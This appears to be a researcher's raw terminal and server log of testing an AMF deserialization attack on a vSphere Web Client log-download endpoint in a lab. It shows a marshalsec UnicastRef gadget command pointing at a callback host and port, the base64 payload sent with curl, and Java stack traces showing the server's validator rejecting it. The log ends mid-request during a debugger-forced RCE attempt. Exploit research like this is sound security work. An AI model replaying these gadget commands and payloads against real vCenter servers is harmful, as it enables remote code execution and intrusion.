*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /vsphere-client/download/logs HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 45
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Set-Cookie: JSESSIONID=1488241428F4AE1E7A8175ACAD6A276F; Path=/vsphere-client; Secure; HttpOnly
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Type: text/html;charset=utf-8
< Content-Length: 2920
< Date: Sat, 04 Dec 2021 01:02:59 GMT
< Connection: close
< Server: Anonymous
<



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0014)about:internet -->
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <style type="text/css" media="screen">
         html {
            background: #3075ab; /* Old browsers */
            background: -moz-linear-gradient(top,  #3a8dc8 0%, #183a62 100%); /* FF3.6+ */
            background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3a8dc8), color-stop(100%,#183a62)); /* Chrome,Safari4+ */
            background: -webkit-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* Chrome10+,Safari5.1+ */
            background: -o-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* Opera 11.10+ */
            background: -ms-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* IE10+ */
            background: linear-gradient(to bottom,  #3a8dc8 0%,#183a62 100%); /* W3C */
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3a8dc8', endColorstr='#183a62',GradientType=0 ); /* IE6-9 */
            background-repeat: no-repeat;

            height: 100%;
            overflow: auto;
            margin: 0;
            padding: 0;
         }

         #errorAreaWrapper {
            position: relative;
            float: left;
            left: 50%;
            margin-top: 30px;
         }

         #errorArea {
            position: relative;
            float: left;
            left: -50%;
            padding: 15px;
            background-color: white;
            font-size: 14px;
            color: #000000;
            font-family: Georgia, Arial, Helvetica, sans-serif;
            border: 1px solid black;
         }

         #errorImage {
            border: 0;
            margin-right: 10px;
            display: inline-block;
            vertical-align: top;
         }

         #errorAllText {
            display: inline-block;
            vertical-align: top;
            min-width: 500px;
            max-width: 700px;
         }

         #errorSorry {
            font-weight: bold;
         }

         #errorMessage {
            padding-top: 10px;
            padding-bottom: 10px;
         }

         #errorCheckLog {
            font-style: italic;
         }
      </style>
   </head>
   <body>
      <div id="errorAreaWrapper">
        <div id="errorArea">
          <div id="errorImage"><img src="/vsphere-client/assets/warning48x.png" alt="Error" /></div>
          <div id="errorAllText">
             <div id="errorSorry">A server error occurred.</div>
             <div id="errorMessage">Unknown AMF type '65'.</div>
             <div id="errorCheckLog">Check the vSphere Web Client server logs for details.</div>
          </div>
        </div>
      </div>
   </body>
</html>
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
wvu@kharak:~$
[2021-12-04T01:02:59.500Z] [WARN ] http-nio-9090-exec-7         70000069 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController         ClientId is null.
[2021-12-04T01:02:59.507Z] [ERROR] http-nio-9090-exec-7          o.a.c.c.C.[.[localhost].[/vsphere-client].[downloadManager]       Servlet.service() for servlet [downloadManager] in context with path [/vsphere-client] threw exception [Request processing failed; nested exception is flex.messaging.io.UnknownTypeException: Unknown AMF type '65'.] with root cause flex.messaging.io.UnknownTypeException: Unknown AMF type '65'.
	at flex.messaging.io.amf.Amf3Input.readObjectValue(Amf3Input.java:232)
	at flex.messaging.io.amf.Amf3Input.readObject(Amf3Input.java:134)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.parseSelectedLogsSpec(DownloadLogController.java:745)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.processSelectedLogsSpecParameter(DownloadLogController.java:584)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.downloadLogBundles(DownloadLogController.java:201)
	at sun.reflect.GeneratedMethodAccessor196.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181)
	at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440)
	at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428)
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317)
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127)
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:114)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:150)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:170)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at com.vmware.vise.security.websso.SecurityRequestWrapperFilter.doFilterInternal(SecurityRequestWrapperFilter.java:47)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214)
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177)
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347)
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:177)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vsphere.client.logging.MDCLogFilter.doFilterInternal(MDCLogFilter.java:41)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.extensionfw.DeploymentFilter.doFilter(DeploymentFilter.java:55)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.util.jsp.JspFilter.doFilterInternal(JspFilter.java:91)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.security.SameSiteCookieHeaderFilter.doFilter(SameSiteCookieHeaderFilter.java:73)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
	at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:764)
	at org.eclipse.virgo.web.tomcat.support.ApplicationNameTrackingValve.invoke(ApplicationNameTrackingValve.java:33)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1634)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.lang.Thread.run(Thread.java:748)

Testing AMF deserialization using the UnicastRef gadget

root@895ea1dbdd95:~/marshalsec# java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.BlazeDSAMF3 UnicastRef 172.16.57.1 4444 | base64 -w 0 | xargs

Cgczc3VuLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlZgALMTcyLjE2LjU3LjEAABFcAAAAAHyVTXIAAAAAAAAAAAAAAAAAAAA=
root@895ea1dbdd95:~/marshalsec#
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=Cgczc3VuLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlZgALMTcyLjE2LjU3LjEAABFcAAAAAHyVTXIAAAAAAAAAAAAAAAAAAAA="
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /vsphere-client/download/logs HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 133
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Set-Cookie: JSESSIONID=FCDFEC1FA6DBC64A0638002A142EB766; Path=/vsphere-client; Secure; HttpOnly
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Type: text/html;charset=utf-8
< Content-Length: 2963
< Date: Sat, 04 Dec 2021 01:04:57 GMT
< Connection: close
< Server: Anonymous
<



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0014)about:internet -->
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <style type="text/css" media="screen">
         html {
            background: #3075ab; /* Old browsers */
            background: -moz-linear-gradient(top,  #3a8dc8 0%, #183a62 100%); /* FF3.6+ */
            background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3a8dc8), color-stop(100%,#183a62)); /* Chrome,Safari4+ */
            background: -webkit-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* Chrome10+,Safari5.1+ */
            background: -o-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* Opera 11.10+ */
            background: -ms-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* IE10+ */
            background: linear-gradient(to bottom,  #3a8dc8 0%,#183a62 100%); /* W3C */
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3a8dc8', endColorstr='#183a62',GradientType=0 ); /* IE6-9 */
            background-repeat: no-repeat;

            height: 100%;
            overflow: auto;
            margin: 0;
            padding: 0;
         }

         #errorAreaWrapper {
            position: relative;
            float: left;
            left: 50%;
            margin-top: 30px;
         }

         #errorArea {
            position: relative;
            float: left;
            left: -50%;
            padding: 15px;
            background-color: white;
            font-size: 14px;
            color: #000000;
            font-family: Georgia, Arial, Helvetica, sans-serif;
            border: 1px solid black;
         }

         #errorImage {
            border: 0;
            margin-right: 10px;
            display: inline-block;
            vertical-align: top;
         }

         #errorAllText {
            display: inline-block;
            vertical-align: top;
            min-width: 500px;
            max-width: 700px;
         }

         #errorSorry {
            font-weight: bold;
         }

         #errorMessage {
            padding-top: 10px;
            padding-bottom: 10px;
         }

         #errorCheckLog {
            font-style: italic;
         }
      </style>
   </head>
   <body>
      <div id="errorAreaWrapper">
        <div id="errorArea">
          <div id="errorImage"><img src="/vsphere-client/assets/warning48x.png" alt="Error" /></div>
          <div id="errorAllText">
             <div id="errorSorry">A server error occurred.</div>
             <div id="errorMessage">Creation validation for class 'sun.rmi.server.UnicastRef' failed.</div>
             <div id="errorCheckLog">Check the vSphere Web Client server logs for details.</div>
          </div>
        </div>
      </div>
   </body>
</html>
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
wvu@kharak:~$
[2021-12-04T01:04:48.349Z] [WARN ] http-nio-9090-exec-1         70000071 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController         ClientId is null.
[2021-12-04T01:04:48.353Z] [WARN ] http-nio-9090-exec-1         70000071 ###### ###### c.vmware.vise.messaging.validators.ClassDeserializationValidator  Deserialization skipped for type sun.rmi.server.UnicastRef
[2021-12-04T01:04:57.329Z] [ERROR] http-nio-9090-exec-1          o.a.c.c.C.[.[localhost].[/vsphere-client].[downloadManager]       Servlet.service() for servlet [downloadManager] in context with path [/vsphere-client] threw exception [Request processing failed; nested exception is flex.messaging.io.SerializationException: Creation validation for class 'sun.rmi.server.UnicastRef' failed.] with root cause flex.messaging.io.SerializationException: Creation validation for class 'sun.rmi.server.UnicastRef' failed.
	at flex.messaging.util.ClassUtil.validateCreation(ClassUtil.java:354)
	at flex.messaging.util.ClassUtil.createDefaultInstance(ClassUtil.java:115)
	at flex.messaging.io.AbstractProxy.createInstanceFromClassName(AbstractProxy.java:95)
	at flex.messaging.io.AbstractProxy.createInstance(AbstractProxy.java:115)
	at flex.messaging.io.amf.AbstractAmfInput.createObjectInstance(AbstractAmfInput.java:169)
	at flex.messaging.io.amf.Amf3Input.readScriptObject(Amf3Input.java:748)
	at flex.messaging.io.amf.Amf3Input.readObjectValue(Amf3Input.java:156)
	at flex.messaging.io.amf.Amf3Input.readObject(Amf3Input.java:134)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.parseSelectedLogsSpec(DownloadLogController.java:745)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.processSelectedLogsSpecParameter(DownloadLogController.java:584)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.downloadLogBundles(DownloadLogController.java:201)
	at sun.reflect.GeneratedMethodAccessor196.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181)
	at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440)
	at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428)
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317)
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127)
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:114)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:150)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:170)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at com.vmware.vise.security.websso.SecurityRequestWrapperFilter.doFilterInternal(SecurityRequestWrapperFilter.java:47)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214)
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177)
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347)
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:177)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vsphere.client.logging.MDCLogFilter.doFilterInternal(MDCLogFilter.java:41)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.extensionfw.DeploymentFilter.doFilter(DeploymentFilter.java:55)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.util.jsp.JspFilter.doFilterInternal(JspFilter.java:91)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.security.SameSiteCookieHeaderFilter.doFilter(SameSiteCookieHeaderFilter.java:73)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
	at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:764)
	at org.eclipse.virgo.web.tomcat.support.ApplicationNameTrackingValve.invoke(ApplicationNameTrackingValve.java:33)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1634)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.lang.Thread.run(Thread.java:748)

Testing RCE by forcing it in a debugger, lol

wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=Cgczc3VuLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlZgALMTcyLjE2LjU3LjEAABFcAAAAAHyVTXIAAAAAAAAAAAAAAAAAAAA="
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /vsphere-client/download/logs HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 133
> Content-Type: application/x-www-form-urlencoded
>
